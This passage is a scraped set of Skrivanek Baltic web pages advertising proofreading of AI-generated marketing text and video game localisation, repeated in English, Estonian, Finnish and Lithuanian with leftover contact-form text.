apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par mākslīgā intelekta (MI) ģenerēta mārketinga teksta pārbaudi un labošanu jau tūlīt! --- > Experts are convinced – to achieve results and effective marketing communications abroad, the support of language professionals is a must. - Published: 2024-03-27 - Modified: 2025-07-02 - URL: https://skrivanek.lv/maksliga-intelekta-genereta-marketinga-teksta-parbaude-un-labosana/ - Translation Priorities: Optional Nowadays, AI technology can create almost anything from marketing texts and artistic images to musical compositions in just minutes or even seconds. The technology is readily available and promising. What is it like in reality? The language experts at Skrivanek are convinced that in order to achieve business results and effective marketing communications abroad, the support of language professionals is a must. It is important to not only know how to ask the right ChatGPT query and get the text you want quickly but also to make sure it matches the exact tone of your company’s brand message – compelling, effective and doesn’t sound like it’s machine-generated. The text needs to be well-thought-out and of high quality to make the reader want to read the text, share it with friends and acquaintances, and make it more visible in Google search. With texts generated by an AI tool, it is important to check not only the grammar (e. g. , syntax and morphology) but also the content and factual correctness of the text and its relevance to your needs. Not sure how to make certain that the text you have generated in English or in a foreign language is readable and free of errors? Skrivanek will help you gain confidence and check that the text you have produced with the help of an artificial intelligence tool is logical, free of factual (made-up facts, figures, etc. ), grammatical and stylistic errors, convincing and not overly generic, as well as consistent with your company’s brand and identity, even in languages you don’t speak. Even if you need to redesign your existing website content to best meet SEO (search engine optimisation) requirements and the AI tool has identified and recommended a number of changes to boost your website’s position in search engines, but you are not sure that the recommendations are valid and logical, the language experts at Skrivanek are here to help. Quality and confidentiality guaranteed by ISO certificatesOur project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year Need AI-generated marketing text proofreading and revision? Contact us! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation for easy-to-read or plain language now! --- > In order to reach the widest possible audience for video games, successful localisation is one of the most important aspects. - Published: 2024-03-25 - Modified: 2025-07-03 - URL: https://skrivanek.lv/videospelu-lokalizacija/ - Translation Priorities: Optional In order to reach the widest possible audience for video games, successful localisation is one of the most important aspects. At Skrivanek Baltic, we make sure that the content of video games is not only translated in excellent quality but also adapted to the local market, breaking down cultural and linguistic barriers. WHY CHOOSE SKRIVANEK? Industry experts. Our translators are linguistic professionals as well as passionate videogame enthusiasts, who always deliver a high-quality, carefully tailored product. Cultural differences. We adapt the text so that it is not mechanically translated but rather transformed in a way that addresses the players speaking the target language. Fast performance of works. We translate efficiently so the development of the video game is not delayed. Quality check. Constant quality checks ensure accuracy – especially in the use of key terms – and an immersive gaming experience. If you want to support different languages for your video game, contact us – we’ll find the best solution for you! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationHow did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! In order to reach the widest possible audience for video games, successful localisation is one of the most important aspects. At Skrivanek Baltic, we make sure that the content of video games is not only translated in excellent quality but also adapted to the local market, breaking down cultural and linguistic barriers. WHY CHOOSE SKRIVANEK? Industry experts. Our translators are linguistic professionals as well as passionate videogame enthusiasts, who always deliver a high-quality, carefully tailored product. Cultural differences. We adapt the text so that it is not mechanically translated but rather transformed in a way that addresses the players speaking the target language. Fast performance of works. We translate efficiently so the development of the video game is not delayed. Quality check. Constant quality checks ensure accuracy – especially in the use of key terms – and an immersive gaming experience. If you want to support different languages for your video game, contact us – we’ll find the best solution for you! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationHow did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! WHAT IS INCLUDED IN THE VIDEO GAME TRANSLATION? Briefly, game translation involves adapting the content and soundtrack of a game from one language to another. Translating the content of a video game is not limited to the subtitles, which can be read when the characters speak to each other. It is also possible to customise the materials, instructions, terms of service and other content included in the disc case – such as the information material, and advertising the game in the target language. Not everyone is familiar with the source language of a video game – most often English. With little or no understanding of English, there is a high chance that players will not fully enjoy the gaming experience, or will not even purchase the game at all. However, localising the video game in different languages can increase interest in regions that prefer to enjoy video games in their native language. WHY IT IS WORTH LOCALISING YOUR VIDEO GAMES? By making sure that the text, the characters’ lines and even the images in the video games are precisely localised to each region, the companies enable entertainment fans from all over the world to fully enjoy games in their own language. This benefits both users and game developers. The range of users is widened. Localisation helps to reach new players who would not have bought the game in the original language. Additional turnover. Selling an original work in a new market and region can increase the sales of a video game, and therefore profit. In line with cultural practices. Through localisation, the game can be adapted to the cultural customs of different regions so it resonates more effectively with the players. An enjoyable playing experience. Localising games can improve the player experience by reducing the language barrier and making the game more enjoyable and engaging. HOW DO WE LOCALISE VIDEO GAMES? Translation is only a small part of the process of localising video games. Here are some of the most important aspects we pay attention to in order to ensure excellent quality. Translation. The first and most important step is adapting the content to the target market’s language and specificities. Editing and proofreading. The translated material is checked to clarify terms and correct typographical errors. Language quality control. Before we provide material for integration into a video game, the accuracy of the translation is checked and tested. Adaptation. This step involves technical manipulation to allow the translation to be represented in the game itself. We also make corrections to visual elements to ensure the content is accurately represented. Adaptation to the region. Various elements of video games have been banned in some countries. For example, blood, skulls or religious symbols. If no changes are made, the video game could be banned in the region as a whole. Consideration should also be given to the extent to which it is acceptable in a particular region to depict violence or sexual content. Localisation of audio content. Once the localisation of the content is complete, voice actors are selected to play the roles of the video game characters, and the audio content is recorded and checked to make sure that the material matches the local dialect and accents. HOW IS THE LOCALISATION OF GAMES DONE STEP BY STEP? Linguists who are native speakers of the target language are involved in the localisation of video games. In this way, we make sure that the end result is enjoyable and understandable for the players by adapting the text to the language style of the characters - they speak like “local” characters. Here are the steps to get a quality localisation of a video game. The client sends the text and style guidelines. We agree on the deadlines for the work. Project managers convert the files they receive for translation and send them to the localisation contractors. Translators start work, and they also: take style guidelines into account when recording image and location names in a separate file, in order to follow a consistent style; communicate with the client in the form of a questionnaire or a communication app to clarify the nuances recorded in the source language and be able to reproduce them in another language. The translator or translators finish their work and it’s time for an independent technical and grammar check. After catching grammatical and stylistic “bugs”, if any, the text is subjected to quality control. The material has been fully translated and tested. Now we can send it to the customer. The client tests the new language localisation in-game and shares the impressions. If changes are needed, we make them. After making any alterations, the translation process is complete. --- > Selleks, et videomängud jõuaksid võimalikult laiale publikule, on edukas lokaliseerimine üks olulisemaid aspekte. - Published: 2024-03-25 - Modified: 2024-08-13 - URL: https://skrivanek.lv/videospelu-lokalizacija/ Edukas lokaliseerimine on üks olulisemaid aspekte, et jõuda võimalikult laia hulga mängusõpradeni. Skrivanek Balticus hoolitseme selle eest, et videomängude sisu oleks lisaks laitmatu kvaliteediga tõlkele ka kohalikule turule kohandatud, lahustades kultuuriliste ja keeleliste erinevuste tõkked. MIKS VALIDA SKRIVANEK? Valdkonna eksperdid. Meie tõlkijad on nii keeleprofessionaalid kui ka kirglikud mängusõbrad, kes annavad tulemuseks kvaliteetse ja hoolikalt kohandatud toote. Kultuurilised erinevused. Me kohandame teksti, et see ei näiks mehhaaniliselt tõlgituna, vaid oleks ümber tehtud nii, et kõnetada sihtkeeles rääkivaid mängijaid. Kiire töö. Me tõlgime tõhusalt, mistõttu ei hiline videomängu arendamine. Kvaliteedikontroll. Pidev kvaliteedikontroll tagab täpsuse – eriti võtmeterminite kasutamisel – ja kaasahaarava mängukogemuse. Kui soovite, et Teie videomäng toetaks erinevaid keeli, siis võtke meiega ühendust – leiame parima lahenduse! Broneerige konsultatsioon, kui soovite arutada oma projekti detailsemalt. Aitame Teil suurima rõõmuga leida parima ja sobivaima lahenduse lokaliseerimiseks. Jätke oma kontaktandmed ja küsimused, et võiksime vestluseks kokku leppida Teile sobivaima aja. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada Edukas lokaliseerimine on üks olulisemaid aspekte, et jõuda võimalikult laia hulga mängusõpradeni. Skrivanek Balticus hoolitseme selle eest, et videomängude sisu oleks lisaks laitmatu kvaliteediga tõlkele ka kohalikule turule kohandatud, lahustades kultuuriliste ja keeleliste erinevuste tõkked. MIKS VALIDA SKRIVANEK? Valdkonna eksperdid. Meie tõlkijad on nii keeleprofessionaalid kui ka kirglikud mängusõbrad, kes annavad tulemuseks kvaliteetse ja hoolikalt kohandatud toote. Kultuurilised erinevused. Me kohandame teksti, et see ei näiks mehhaaniliselt tõlgituna, vaid oleks ümber tehtud nii, et kõnetada sihtkeeles rääkivaid mängijaid. Kiire töö. Me tõlgime tõhusalt, mistõttu ei hiline videomängu arendamine. Kvaliteedikontroll. Pidev kvaliteedikontroll tagab täpsuse – eriti võtmeterminite kasutamisel – ja kaasahaarava mängukogemuse. Kui soovite, et Teie videomäng toetaks erinevaid keeli, siis võtke meiega ühendust – leiame parima lahenduse! Broneerige konsultatsioon, kui soovite arutada oma projekti detailsemalt. Aitame Teil suurima rõõmuga leida parima ja sobivaima lahenduse lokaliseerimiseks. Jätke oma kontaktandmed ja küsimused, et võiksime vestluseks kokku leppida Teile sobivaima aja. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada MIDA SISALDAB VIDEOMÄNGUDE TÕLKIMINE? Lühidalt öeldes tähendab mängude tõlkimine mängu sisu ja heliriba viimist ühest keelest teise. Videomängu sisu tõlkimine ei piirdu ainult subtiitritega, mida võib lugeda, kui tegelased omavahel vestlevad. Samuti võib kohandada plaadiümbrises olevaid materjale, juhendeid, kasutustingimusi ja paljut muud, ka teabematerjale, et mängu sihtkeeles reklaamida. Mitte kõik ei räägi videomängu originaalkeelt, mis on enamasti inglise keel. Kui seda hästi ei valda või ei räägi üldse, on suur tõenäosus, et mängija ei suuda mängukogemust lõpuni nautida või jätab selle üldse ostmata. Lokaliseerides videomängu eri keeltesse, on võimalik suurendada huvi mängu vastu ka piirkondades, kus eelistatakse videomänge nautida vaid oma emakeeles. MIKS TASUB VIDEOMÄNGE LOKALISEERIDA? Olles veendunud, et mängude tekst, tegelaste räägitu ja isegi pildid on iga piirkonnaga vastavusse viidud, annavad ettevõtted selle meelelahutusžanri sõpradele kogu maailmas võimaluse nautida mänge nende emakeeles. Sellest on kasu nii kasutajatele kui ka mänguarendajatele. Laieneb kasutajate ring. Lokaliseerimine aitab kõnetada uusi mängijaid, kes poleks mängu selle originaalkeeles ostnud. Lisakäive. Müües oma teost uuel turul ja uues piirkonnas, saab tõsta videomängu müügimahtu ja seega ka kasumit. Vastavus kultuuritavadega. Lokaliseerimise abil saab mängu kohandada eri piirkondade kultuuriliste tavadega, et see haakuks mängijatega paremini. Meeldiv mängukogemus. Mängude lokaliseerimine võib parandada mängukogemust, vähendada keelebarjääri ning muuta mängu mõistetavamaks ja kaasahaaravamaks. KUIDAS LOKALISEERIME VIDEOMÄNGE? Tõlkimine on vaid väike osa videomängude lokaliseerimise protsessist. Siin on mõningad olulisemad aspektid, millele pöörame tähelepanu, et tagada suurepärane kvaliteet. Tõlkimine. Esimene ja kõige olulisem samm, kohandades sisu sihtturu keele ja eripäradega. Toimetamine ja korrektuur. Tõlgitud materjali kontrollitakse, et täpsustada mõisteid ja parandada trükivead. Keele kvaliteedi kontrollimine. Enne, kui esitame materjali mängu integreerimiseks, kontrollitakse ja testitakse tõlke täpsust. Kohandamine. Selles etapis tehakse tehnilisi muudatusi, et tõlge kajastuks mängus endas. Samuti korrigeerime visuaalseid elemente, et tagada sisu täpne esitamine. Piirkonnaga kohandamine. Mõnedes riikides on osad videomängude elemendid keelatud. Näiteks veri, pealuud või religioossed sümbolid. Ilma vajalike muudatusteta võidakse mäng piirkonnas täielikult keelata. Samuti tuleks kaaluda, mil määral on konkreetses piirkonnas kombeks kujutada vägivalda või seksuaalset sisu. Helisisu lokaliseerimine. Kui sisu lokaliseerimine on lõpule viidud, valitakse välja dublaažinäitlejad, kes mängivad videomängu tegelaste rolle. Salvestatakse helisisu ja kontrollitakse, et aktsendid oleksid piirkonnale sobivad. KUIDAS KÄIB MÄNGUDE LOKALISEERIMINE SAMM-SAMMULT? Videomängude lokaliseerimisega tegelevad keelespetsialistid, kellele tõlke sihtkeel on emakeel. Nii hoolitseme selle eest, et lõpptulemus on mängijatele nauditav ja arusaadav. Kohandades tekste tegelaste keele stiiliga, räägivad need just nagu „kohalikud“. Järgnevalt on kirjeldatud videomängu kvaliteetse lokaliseerimise samme. Klient saadab teksti ja stiilijuhised. Lepime kokku tööde tähtaegades. Projektijuhid teisendavad saadud failid tõlkimiseks sobivasse vormingusse ja saadavad need lokaliseerijatele. Tõlkijad alustavad tööd ja muuhulgas: võtavad arvesse stiilijuhiseid, salvestades eraldi faili tegelaste ja asukohtade nimed, et need püsiksid ühtsed; võtavad kliendiga ühendust, saates talle kas küsimusi või kirjutades suhtlusrakenduses, et täpsustada algkeele nüansse ja panna need ümber teise keelde. Tõlkija või tõlkijad lõpetavad töö, misjärel on aeg teha sõltumatu tehniline ja grammatiline kontroll. Kui grammatika ja stiili võimalikud näpuvead on leitud, tehakse tekstile kvaliteedikontroll. Materjal on täielikult tõlgitud ja kontrollitud. Nüüd võime saata selle kliendile. Klient kontrollib värskelt lokaliseeritud keelt mängus ja jagab muljeid. Vajadusel teeme muudatusi. Pärast võimalike muudatuste tegemist on protsess lõppenud. --- > videopelimarkkinoilla.Jotta videopelit tavoittaisivat mahdollisimman laajan yleisön, onnistunut lokalisointi on yksi tärkeimmistä tekijöistä. - Published: 2024-03-25 - Modified: 2024-08-22 - URL: https://skrivanek.lv/videospelu-lokalizacija/ Jotta videopelit tavoittaisivat mahdollisimman laajan yleisön, onnistunut lokalisointi on yksi tärkeimmistä tekijöistä. Me Skrivanek Balticilla varmistamme, että videopelien sisältöä ei ainoastaan käännetä laadukkaasti, vaan se myös mukautetaan paikallisille markkinoille, jolloin kulttuuriset ja kielelliset esteet murtuvat. MIKSI VALITA SKRIVANEK? Alan asiantuntijat. Kääntäjämme ovat kielen ammattilaisia ja intohimoisia videopelien harrastajia, jotka tuottavat aina laadukkaan ja huolellisesti räätälöidyn tuotteen. Kulttuurierot. Mukautamme tekstiä niin, että sitä ei käännetä mekaanisesti, vaan muutetaan niin, että se puhuttelee kohdekieleltä puhuvia pelaajia. Töiden nopea suorittaminen. Käännämme tehokkaasti, jotta videopelin kehittäminen ei viivästy. Laaduntarkastus. Jatkuvat laaduntarkastukset takaavat tarkkuuden - erityisesti keskeisten termien käytössä - ja mukaansatempaavan pelikokemuksen. Jos haluat tukea eri kieliä videopelissäsi, ota meihin yhteyttä - löydämme sinulle parhaan ratkaisun! Pyydä konsultaatiota, jos haluat keskustella hankkeestasi tarkemmin. Autamme mielellämme löytämään sinulle parhaan lokalisointiratkaisun. Lisää yhteystietosi ja kysymyksesi alla, niin voimme sopia sinulle parhaiten sopivan ajan. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada Edukas lokaliseerimine on üks olulisemaid aspekte, et jõuda võimalikult laia hulga mängusõpradeni. Skrivanek Balticus hoolitseme selle eest, et videomängude sisu oleks lisaks laitmatu kvaliteediga tõlkele ka kohalikule turule kohandatud, lahustades kultuuriliste ja keeleliste erinevuste tõkked. MIKSI VALITA SKRIVANEK? Alan asiantuntijat. Kääntäjämme ovat kielen ammattilaisia ja intohimoisia videopelien harrastajia, jotka tuottavat aina laadukkaan ja huolellisesti räätälöidyn tuotteen. Kulttuurierot. Mukautamme tekstiä niin, että sitä ei käännetä mekaanisesti, vaan muutetaan niin, että se puhuttelee kohdekieleltä puhuvia pelaajia. Töiden nopea suorittaminen. Käännämme tehokkaasti, jotta videopelin kehittäminen ei viivästy. Laaduntarkastus. Jatkuvat laaduntarkastukset takaavat tarkkuuden - erityisesti keskeisten termien käytössä - ja mukaansatempaavan pelikokemuksen. Jos haluat tukea eri kieliä videopelissäsi, ota meihin yhteyttä - löydämme sinulle parhaan ratkaisun! Pyydä konsultaatiota, jos haluat keskustella hankkeestasi tarkemmin. Autamme mielellämme löytämään sinulle parhaan lokalisointiratkaisun. Lisää yhteystietosi ja kysymyksesi alla, niin voimme sopia sinulle parhaiten sopivan ajan. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada MITÄ VIDEOPELIKÄÄNNÖS SISÄLTÄÄ? Lyhyesti sanottuna pelien kääntäminen tarkoittaa pelin sisällön ja ääniraidan mukauttamista kielestä toiseen. Videopelin sisällön kääntäminen ei rajoitu vain tekstityksiin, jotka voidaan lukea, kun hahmot puhuvat toisilleen. On myös mahdollista mukauttaa materiaaleja, ohjeita, käyttöehtoja ja muita levykotelon sisältämiä tietoja, kuten infomateriaali ja pelin mainonta kohdekielellä. Kaikki eivät tunne videopelien lähdekieltä - useimmiten englantia. Jos pelaajat eivät juurikaan ymmärrä englantia, on hyvin todennäköistä, että he eivät nauti pelikokemuksesta täysin tai eivät edes osta peliä. Videopelin lokalisointi eri kielille voi kuitenkin lisätä kiinnostusta alueilla, jotka haluavat nauttia videopeleistä äidinkielellään. MIKSI VIDEOPELIN LOKALISOINTI KANNATTAA? Varmistamalla, että videopelien teksti, hahmojen repliikit ja jopa kuvat on lokalisoitu tarkasti kullekin alueelle, yritykset antavat viihteen ystäville kaikkialla maailmassa mahdollisuuden nauttia peleistä täysin omalla kielellään. Tämä hyödyttää sekä käyttäjiä että pelien kehittäjiä. Käyttäjäkunta laajenee. Lokalisointi auttaa tavoittamaan uusia pelaajia, jotka eivät olisi ostaneet peliä alkuperäisellä kielellä. Lisäliikevaihto. Alkuperäisen teoksen myynti uusilla markkinoilla ja uudella alueella voi lisätä videopelin myyntiä ja siten myös voittoa. Kulttuurikäytäntöjen mukaisesti. Lokalisoinnin avulla peli voidaan mukauttaa eri alueiden kulttuuritottumuksiin, jolloin se on paremmin pelaajien mieleen. Nautinnollinen pelikokemus. Pelien lokalisointi voi parantaa pelaajakokemusta vähentämällä kielimuuria ja tekemällä pelistä hauskemman ja kiinnostavamman. MITEN VIDEOPELIT LOKALISOIDAAN? Kääntäminen on vain pieni osa videopelien lokalisointiprosessia. Tässä on muutamia tärkeimpiä näkökohtia, joihin kiinnitämme huomiota erinomaisen laadun varmistamiseksi. Kääntäminen. Ensimmäinen ja tärkein vaihe on sisällön mukauttaminen kohdemarkkinoiden kieleen ja erityispiirteisiin. Muokkaus ja oikoluku. Käännetty aineisto tarkistetaan termien selventämiseksi ja kirjoitusvirheiden korjaamiseksi. Kielen laadunvalvonta. Ennen kuin toimitamme materiaalia videopeliin sisällytettäväksi, käännöksen tarkkuus tarkistetaan ja testataan. Mukauttaminen. Tämä vaihe edellyttää teknistä manipulointia, jotta käännös voidaan esittää itse pelissä. Teemme myös korjauksia visuaalisiin elementteihin varmistaaksemme, että sisältö esitetään oikein. Sopeuttaminen alueeseen. Jotkut videopelien osat ovat kiellettyjä joissakin maissa. Esimerkiksi veri, pääkallot tai uskonnolliset symbolit. Jos muutoksia ei tehdä, videopeli voidaan kieltää koko alueella. On myös harkittava, missä määrin väkivallan tai seksuaalisen sisällön esittäminen on hyväksyttävää tietyllä alueella. Äänisisällön lokalisointi. Kun sisällön lokalisointi on valmis, ääninäyttelijät valitaan videopelihahmojen rooleihin, ja äänisisältö nauhoitetaan ja tarkistetaan sen varmistamiseksi, että materiaali vastaa paikallista murretta ja aksentteja. MITEN PELIEN LOKALISOINTI TAPAHTUU ASKEL ASKELEELTA? Videopelien lokalisointiin osallistuvat kielitieteilijät puhuvat kohdekieltä äidinkielenään. Näin varmistamme, että lopputulos on pelaajille miellyttävä ja ymmärrettävä mukauttamalla tekstin hahmojen kielityyliin - he puhuvat kuin "paikalliset" hahmot. Tässä ovat vaiheet videopelin laadukkaaseen lokalisointiin. Asiakas lähettää tekstin ja tyyliohjeet. Sovimme työn määräajat. Projektipäälliköt muuntavat saamansa tiedostot käännettäväksi ja lähettävät ne lokalisointiurakoitsijoille. Kääntäjät aloittavat työnsä, ja he myös: huomioivat tyyliohjeet tallentaessaan kuvien ja paikkojen nimet erilliseen tiedostoon noudattaakseen yhtenäistä tyyliä; kommunikoivat asiakkaan kanssa kyselylomakkeen tai viestintäsovelluksen avulla selventääkseen lähdekielellä kirjattuja vivahteita ja pystyäkseen toistamaan ne toisella kielellä. Kääntäjä tai kääntäjät saavat työnsä valmiiksi ja on aika tehdä riippumaton tekninen ja kieliopillinen tarkastus. Kun mahdolliset kielioppi- ja tyylivirheet on korjattu, teksti tarkastetaan laadunvalvonnassa. Materiaali on käännetty ja testattu kokonaisuudessaan. Nyt voimme lähettää sen asiakkaalle. Asiakas testaa uuden kielilokalisoinnin pelissä ja kertoo vaikutelmistaan. Jos tarvitaan muutoksia, teemme ne. Kun muutokset on tehty, käännösprosessi on valmis. --- > Kad pasiektumėte, kiek įmanoma, platesnę vaizdo žaidimų žaidėjų auditoriją, sėkminga lokalizacija yra vienas iš svarbiausių veiksnių. - Published: 2024-03-25 - Modified: 2024-08-12 - URL: https://skrivanek.lv/videospelu-lokalizacija/ - Translation Priorities: Optional Kad pasiektumėte, kiek įmanoma, platesnę vaizdo žaidimų žaidėjų auditoriją, sėkminga lokalizacija yra vienas iš svarbiausių veiksnių. Mes, Skrivanek Baltic, rūpinamės, kad vaizdo žaidimų turinys būtų ne tik kokybiškai išverstas, bet taip pat būtų pritaikytas vietinei rinkai, panaikinant kultūrinius ir kalbų skirtumų barjerus. KODĖL RINKTIS SKRIVANEK? Srities ekspertai. Mūsų vertėjai yra ne tik kalbotyros profesionalai, bet ir aistringi vaizdo žaidimų gerbėjai, suteikiantys kokybišką, kruopščiai pritaikytą produktą. Kultūriniai skirtumai. Mes pritaikome tekstą, kad jis būtų ne mechaniškai išverstas, o pakeistas taip, kaip kalba tikslinės kalbos žaidėjai. Greitas darbo atlikimas. Efektyviai atliekame vertimą, todėl vaizdo žaidimo parengimas neužtruks. Kokybės patikrinimas. Nuolatinis kokybės tikrinimas užtikrina tikslumą, ypač vartojant raktinius terminus, ir jaudinančią žaidimo patirtį. Jeigu norite savo vaizdo žaidimui užtikrinti skirtingų kalbų paramą, susisiekite su mumis – rasime geriausią sprendimą! Kreipkitės dėl konsultacijos, jei norite išsamiau pakalbėti apie savo projektą. Mes mielai padėsime rasti geriausią, Jums tinkamiausią sprendimą lokalizacijai atlikti. Apačioje nurodykite savo kontaktus ir klausimus, kad galėtumėme susitarti dėl Jums tinkamo laiko pokalbiui. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti Kad pasiektumėte, kiek įmanoma, platesnę vaizdo žaidimų žaidėjų auditoriją, sėkminga lokalizacija yra vienas iš svarbiausių veiksnių. Mes, Skrivanek Baltic, rūpinamės, kad vaizdo žaidimų turinys būtų ne tik kokybiškai išverstas, bet taip pat būtų pritaikytas vietinei rinkai, panaikinant kultūrinius ir kalbų skirtumų barjerus. KODĖL RINKTIS SKRIVANEK? Srities ekspertai. Mūsų vertėjai yra ne tik kalbotyros profesionalai, bet ir aistringi vaizdo žaidimų gerbėjai, suteikiantys kokybišką, kruopščiai pritaikytą produktą. Kultūriniai skirtumai. Mes pritaikome tekstą, kad jis būtų ne mechaniškai išverstas, o pakeistas taip, kaip kalba tikslinės kalbos žaidėjai. Greitas darbo atlikimas. Efektyviai atliekame vertimą, todėl vaizdo žaidimo parengimas neužtruks. Kokybės patikrinimas. Nuolatinis kokybės tikrinimas užtikrina tikslumą, ypač vartojant raktinius terminus, ir jaudinančią žaidimo patirtį. Jeigu norite savo vaizdo žaidimui užtikrinti skirtingų kalbų paramą, susisiekite su mumis – rasime geriausią sprendimą! Kreipkitės dėl konsultacijos, jei norite išsamiau pakalbėti apie savo projektą. Mes mielai padėsime rasti geriausią, Jums tinkamiausią sprendimą lokalizacijai atlikti. Apačioje nurodykite savo kontaktus ir klausimus, kad galėtumėme susitarti dėl Jums tinkamo laiko pokalbiui. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono 